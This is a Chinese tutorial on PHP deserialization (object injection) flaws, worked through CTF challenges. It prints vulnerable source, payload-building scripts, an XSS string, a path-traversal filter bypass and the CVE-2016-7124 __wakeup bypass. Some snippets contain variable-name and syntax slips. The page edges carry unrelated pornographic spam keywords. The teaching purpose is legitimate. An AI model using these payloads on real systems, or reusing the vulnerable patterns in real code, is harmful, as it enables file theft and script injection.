国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

PHP中怎么反序列化漏洞

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:Leah 欄目: 網(wǎng)絡(luò )安全

PHP中怎么反序列化漏洞,針對這個(gè)問(wèn)題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

序列化與反序列化

為什么要進(jìn)行序列化與反序列化?

起初也是很不理解為什么要費勁周章的去序列化然后反序列化回來(lái),還多了一步操作,看了各種文章,舉了各種栗子,無(wú)非都是想告訴我們: 序列化的目的是方便數據的傳輸和存儲

再附上網(wǎng)上看到的一段話(huà)

PHP 文件在執行結束以后就會(huì )將對象銷(xiāo)毀,那么如果下次有一個(gè)頁(yè)面恰好要用到剛剛銷(xiāo)毀的對象就會(huì )束手無(wú)策,總不能你永遠不讓它銷(xiāo)毀,等著(zhù)你吧,于是人們就想出了一種能長(cháng)久保存對象的方法,這就是 PHP 的序列化,那當我們下次要用的時(shí)候只要反序列化一下就 ok 啦

什么是序列化和反序列化?

序列化

關(guān)鍵函數 serialize():將PHP中創(chuàng )建的對象,變成一個(gè)字符串

<?php

class test{

    public $name = 'P2hm1n';  

    private $sex = 'secret';  

    protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

經(jīng)過(guò)查閱資料我們發(fā)現

private屬性序列化的時(shí)候格式是 %00類(lèi)名%00成員名

protected屬性序列化的時(shí)候格式是 %00*%00成員名

反序列化

關(guān)鍵函數 unserialize():將經(jīng)過(guò)序列化的字符串轉換回PHP值

<?php

$object = '經(jīng)過(guò)序列化的字符串';

$test = unserialize($object1);

print_r($test3);

?>

注意:當有 protected 和 private 屬性的時(shí)候記得補齊空的字符串

為什么會(huì )產(chǎn)生反序列化漏洞?

PHP反序列化漏洞又稱(chēng)PHP對象注入,是因為程序對輸入數據處理不當導致的

需要具備反序列化漏洞的前提:

必須有 unserailize() 函數

unserailize() 函數的參數必須可控(為了成功達到控制你輸入的參數所實(shí)現的功能,可能需要繞過(guò)一些魔法函數

下面寫(xiě)一個(gè)小栗子

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['b'];

$c = unserialize($a);

?>

上面的栗子就具備了利用反序列化漏洞的前提,因為存在 echo 的原因,我們還可以直接利用xss

<?php 

class test{

    public $target = '<script>alert(/xss/);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

很簡(jiǎn)單的栗子

D0g3平臺

一道實(shí)驗室師傅們出的題:

http://120.79.33.253:9001/

題目直接給了源碼

<?php

error_reporting(0);

include "flag.php";

$KEY = "D0g3!!!";

$str = $_GET['str'];

if (unserialize($str) === "$KEY")

{

    echo "$flag";

}

show_source(__FILE__);

我們可以看到判斷條件 unserialize($str) === "$KEY"就會(huì )輸出flag,且具備了反序列化漏洞的一條:有 unserialize()函數,那么尋找str參數是否可控,向上尋找發(fā)現 $str = $_GET['str']; ,通過(guò) GET 型傳參,參數可控。這里也就具備了反序列化的兩個(gè)條件,所以我們直接構造

<?php 

$KEY = "D0g3!!!";

echo serialize($KEY)

?>

Bugku-welcome to the bugkuctf

在經(jīng)歷了前面的php偽協(xié)議的考點(diǎn)之后,經(jīng)過(guò)base64解碼拿到了兩個(gè)源碼

index.php

<?php  

$txt = $_GET["txt"];  

$file = $_GET["file"];  

$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  

    echo "hello friend!<br>";  

    if(preg_match("/flag/",$file)){ 

        echo "不能現在就給你flag哦";

        exit();  

    }else{  

        include($file);   

        $password = unserialize($password);  

        echo $password;  

    }  

}else{  

    echo "you are not the number of bugku ! ";  

}  

?>

hint.php

<?php   

class Flag{//flag.php  

    public $file;  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file); 

            echo "<br>";

        return ("good");

        }  

    }  

}  

?>

觀(guān)察到危險函數 unserialize(),跟進(jìn)一下 hint.php 里有有一個(gè) file_get_contents()函數,可以讀取到文件,那么我們只需要觀(guān)察file是否可控便可輕松解題

因此我們只需要控制 $this->file 就能讀到我們想要的文件

<?php   

class Flag{//flag.php  

    public $file = 'flag.php'; 

}

$a = new Flag();

$a = serialize($a);

echo $a;  

?>

當然這道題不只考了反序列化,還需要一些其他操作才能拿到flag

上面的簡(jiǎn)單栗子都是直接可以通過(guò)序列化生成相應的payload然后再反序列化之后實(shí)現功能,但是通常不會(huì )這么簡(jiǎn)單的就讓你利用成功,所以需要掌握下面的一些東西

一些魔術(shù)方法

在繞過(guò)魔術(shù)方法之前我們需要了解一些魔術(shù)方法的運行機制————PHP之十六個(gè)魔術(shù)方法詳解

需要了解一下相對于來(lái)說(shuō)重要函數的運行先后順序

<?php   

class test{

    public $name = 'P2hm1n';

    function __construct(){

        echo "__construct()";

        echo "<br><br>";

    }

    function __destruct(){

        echo "__destruct()";

        echo "<br><br>";

    }

    function __wakeup(){

        echo "__wakeup()";

        echo "<br><br>";

    }

    function __toString(){

        return "__toString()"."<br><br>";

    }

    function __sleep(){

        echo "__sleep()";

        echo "<br><br>";

        return array("name");

    }

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

?>

可以繞過(guò)的__weakup()

實(shí)際上是一個(gè)CVE漏洞,CVE-2016-7124。當成員屬性數目大于實(shí)際數目時(shí)會(huì )跳過(guò)__wakeup的執行。

網(wǎng)上已經(jīng)有很多講解了...比如網(wǎng)上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就寫(xiě)的比較清楚,我們只需要知道成員數目大于實(shí)際數目這個(gè)利用的點(diǎn)就行了

盤(pán)點(diǎn)近期兩道有關(guān)反序列化題

第12屆全國大學(xué)生信息安全競賽-JustSoso

PHP偽協(xié)議+base64解碼得到兩個(gè)文件

index.php

<html>

<?php

error_reporting(0); 

$file = $_GET["file"]; 

$payload = $_GET["payload"];

if(!isset($file)){

    echo 'Missing parameter'.'<br>';

}

if(preg_match("/flag/",$file)){

    die('hack attacked!!!');

}

@include($file);

if(isset($payload)){  

    $url = parse_url($_SERVER['REQUEST_URI']);

    parse_str($url['query'],$query);

    foreach($query as $value){

        if (preg_match("/flag/",$value)) { 

            die('stop hacking!');

            exit();

        }

    }

    $payload = unserialize($payload);

}else{ 

   echo "Missing parameters"; 

} 

?>

<!--Please test index.php?file=xxx.php -->

<!--Please get the source of hint.php-->

<html>

hint.php

<?php  

class Handle{ 

    private $handle;  //__destruct中被調用從而調用getFlag()

    public function __wakeup(){

        foreach(get_object_vars($this) as $k => $v) { //循環(huán)打印,賦值為空

            $this->$k = null;

        }

        echo "Waking up\n";

    }

    public function __construct($handle) { 

        $this->handle = $handle; 

    } 

    public function __destruct(){

        $this->handle->getFlag(); //調用 Flag 類(lèi)里面的getFlag方法

}

class Flag{

    public $file;

    public $token;

    public $token_flag;

    function __construct($file){

    $this->file = $file;

    $this->token_flag = $this->token = md5(rand(1,10000));  //一到一萬(wàn)產(chǎn)生的隨機數經(jīng)過(guò)md5加密

    }

  public function getFlag(){  //被handle調用

    $this->token_flag = md5(rand(1,10000));

        if($this->token === $this->token_flag)  //兩者必須相等

    {

      if(isset($this->file)){

        echo @highlight_file($this->file,true); 

            }  

        }

    }

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

在粗略的看了一下兩個(gè)文件之后,可能會(huì )有點(diǎn)亂(當時(shí)的我頭腦是很亂的),但是我們只需要明確我們打CTF的目的就是拿到flag...

梳理一下思路如下

index.php文件干了什么事?

GET型傳入兩個(gè)參數 (那么傳入的兩個(gè)參數一定是有用的,通常出題人不會(huì )閑得蛋疼多設置幾個(gè)沒(méi)用的參數

file不能包含flag關(guān)鍵字

如果設置了payload的話(huà),url被切割,且循環(huán)遍歷匹配flag關(guān)鍵字,匹配到了就退出

payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~

hint.php文件干了什么事?

既然都叫hint.php了那么hint.php一定大有作為...

縱觀(guān) hint.php 包含兩個(gè)類(lèi)

其中的一個(gè)類(lèi)叫 Flag,甚至類(lèi)里有個(gè)方法叫g(shù)etFlag(),所以我們明確我們的目標就是它

打CTF一定要知道自己在干什么,所以先不管其他的,我們只談反序列化,然后構造payload這個(gè)參數

所以在拋棄一切前提下,我們甚至可以構造payload出來(lái)

<?php 

//假裝有兩個(gè)class 

class{

}

class{

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

現在的我們已經(jīng)能夠輸出flag了,我們看一下還存在哪些障礙?

輸出flag的前提

echo @highlight_file($this->file,true);前有一個(gè)判斷:$this->token === $this->token_flag

$this->token 的值是不會(huì )變的,但是 $this->token_flag卻會(huì )改變

這里有兩種思路,其一是爆破,其二是用引用變量來(lái)解決這個(gè)問(wèn)題 $Flag->token = &$Flag->token_flag;

__wakeup()每次打印為空?

重點(diǎn)到了,利用本文前面的CVE-2016-7124。當成員屬性數目大于實(shí)際數目時(shí)會(huì )跳過(guò)__wakeup的執行。這樣能讓 Handle類(lèi)成功調用 Flag類(lèi)中的方法

我們的關(guān)鍵詞不能有flag?

經(jīng)過(guò)反序列化也罷,我們的關(guān)鍵詞始終會(huì )含有flag詞語(yǔ),會(huì )被正則匹配到...

這里可以使用parse_url的解析漏洞,具體的可以看看 一葉飄零師傅的文章 和 另一位師傅的文章

大概是parse_url() 是專(zhuān)門(mén)用來(lái)解析 URL 而不是 URI 的。不過(guò)為遵從 PHP 向后兼容的需要有個(gè)例外,對 file:// 協(xié)議允許三個(gè)斜線(xiàn)(file:///…)。其它任何協(xié)議都不能這樣。

所以使用三個(gè)斜線(xiàn)的話(huà)就不會(huì )被檢測到關(guān)鍵詞

其實(shí)其他考點(diǎn)都是可以繞過(guò)的,最主要的反序列化思想的核心,我認為經(jīng)過(guò)反序列化,有了可以控制的參數之后,就一定要完成某部分的功能,不是為了反序列化而反序列化

DDCTF-Web簽到題

題目地址:http://117.51.158.44/index.php

經(jīng)過(guò)信息泄露,抓包等會(huì )拿到兩個(gè)源碼...

文件1:Application.php

代碼太長(cháng)了,簡(jiǎn)化一下有用的功能如下:

Class Application {

    var $path = '';

    private function sanitizepath($path) {

    $path = trim($path);

    $path=str_replace('../','',$path);

    $path=str_replace('..\\','',$path);

    return $path;

}

public function __destruct() {

    if(empty($this->path)) {

        exit();

    }else{

        $path = $this->sanitizepath($this->path);

        if(strlen($path) !== 18) {

            exit();

        }

        $this->response($data=file_get_contents($path),'Congratulations');

    }

    exit();

}

}

文件一大概是對 $path 變量做了一些處理;如:前后去空,并且移除了 ../..\

如果長(cháng)度小于18的話(huà)能夠讀取 $path 變量的文件的內容,能夠讀取 $path 變量的文件的內容,能夠讀取 $path 變量的文件的內容

因此我們構造初步的payload (其實(shí)結合了一些文件2的信息才能構造路徑)為:../config/flag.txt,但是此時(shí)需要繞過(guò)文件一中的一個(gè) str_replace() 函數,且長(cháng)度要小于18,故而再次構造為 ..././config/flag.txt (需要注意的是此刻的長(cháng)度雖然是21,但是經(jīng)過(guò)一次前面的 str_replace() 替換 ../ 為空之后,長(cháng)度就剛好為18

文件2:app/Session.php

//url:app/Session.php

include 'Application.php';    //包含文件一

class Session extends Application {    

    //key建議為8位字符串

    var $eancrykey                  = '';

    var $cookie_expiration            = 7200;

    var $cookie_name                = 'ddctf_id';

    var $cookie_path                = '';

    var $cookie_domain                = '';

    var $cookie_secure                = FALSE;

    var $activity                   = "DiDiCTF";

    public function index()        

    {

    if(parent::auth()) {    //通過(guò)parent::調用父類(lèi)方法

            $this->get_key();

            if($this->session_read()) {

                $data = 'DiDI Welcome you %s';

                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);

                parent::response($data,'sucess');

            }else{

                $this->session_create();

                $data = 'DiDI Welcome you';

                parent::response($data,'sucess');

            }

        }

    }

    private function get_key() {    

        //eancrykey  and flag under the folder

        $this->eancrykey =  file_get_contents('../config/key.txt');    //flag可能也在這個(gè)文件夾里面

    }

    public function session_read() {    

        if(empty($_COOKIE)) {    

        return FALSE;    

        }

        $session = $_COOKIE[$this->cookie_name];    

        if(!isset($session)) {    

            parent::response("session not found",'error');

            return FALSE;

        }

        $hash = substr($session,strlen($session)-32);    

        $session = substr($session,0,strlen($session)-32);    

        if($hash !== md5($this->eancrykey.$session)) {    

            parent::response("the cookie data not match",'error');    //通過(guò)parent::調用父類(lèi)方法

            return FALSE;    

        }

        $session = unserialize($session);    //反序列化

        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){

            return FALSE;

        }

        if(!empty($_POST["nickname"])) {    //POST的不為空

            $arr = array($_POST["nickname"],$this->eancrykey);

            $data = "Welcome my friend %s";

            foreach ($arr as $k => $v) {    //打印變量

                $data = sprintf($data,$v);    //輸出

            }

            parent::response($data,"Welcome");

        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {

            parent::response('the ip addree not match'.'error');

            return FALSE;

        }

        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {

            parent::response('the user agent not match','error');

            return FALSE;

        }

        return TRUE;

    }

    private function session_create() {

        $sessionid = '';

        while(strlen($sessionid) < 32) {

            $sessionid .= mt_rand(0,mt_getrandmax());

        }

        $userdata = array(

            'session_id' => md5(uniqid($sessionid,TRUE)),

            'ip_address' => $_SERVER['REMOTE_ADDR'],

            'user_agent' => $_SERVER['HTTP_USER_AGENT'],

            'user_data' => '',

        );

        $cookiedata = serialize($userdata);    //序列化

        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

        $expire = $this->cookie_expiration + time();

        setcookie(

            $this->cookie_name,

            $cookiedata,

            $expire,

            $this->cookie_path,

            $this->cookie_domain,

            $this->cookie_secure

            );

    }

}

$ddctf = new Session();

$ddctf->index();

?>

我們回顧一下反序列化執行的方法:

必須有 unserailize() 函數,

unserailize() 函數的參數必須可控

首先映入眼簾的是文件二中第55行的 $session = unserialize($session); 這一步執行了危險函數 unserialize()

文件一被包含進(jìn)文件二,因此可以利用文件一中 __destruct()來(lái)執行文件讀取的功能。

結合有用的信息,就是通過(guò) session 的反序列化來(lái)控制 $path 變量進(jìn)而得到 flag,第34行的注釋//eancrykey and flag under the folder提供了相應的位置

因此我們通過(guò)控制 $path 變量可以獲取到flag,控制 $path 需要通過(guò)反序列化。

但是這道題還有其他的考點(diǎn),因為需要偽造一個(gè)cookie才能拿到相應的 key 才能進(jìn)行反序列化。

因為單談反序列化,所以我們簡(jiǎn)化一下本題。構造最終payload為

<?php

Class Application {

    var $path = '..././config/flag.txt';

}

$a = new Application();

$a = serialize($a);

print_r($a);

?>

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

php
国产精品三级AV及在线观看| 亚洲VA久久久噜噜噜久久天堂| 搡老熟女老女人一区二区| 最近中文AV字幕在线中文| 天天爽夜夜爽人人爽曰| 精品国产福利在线观看|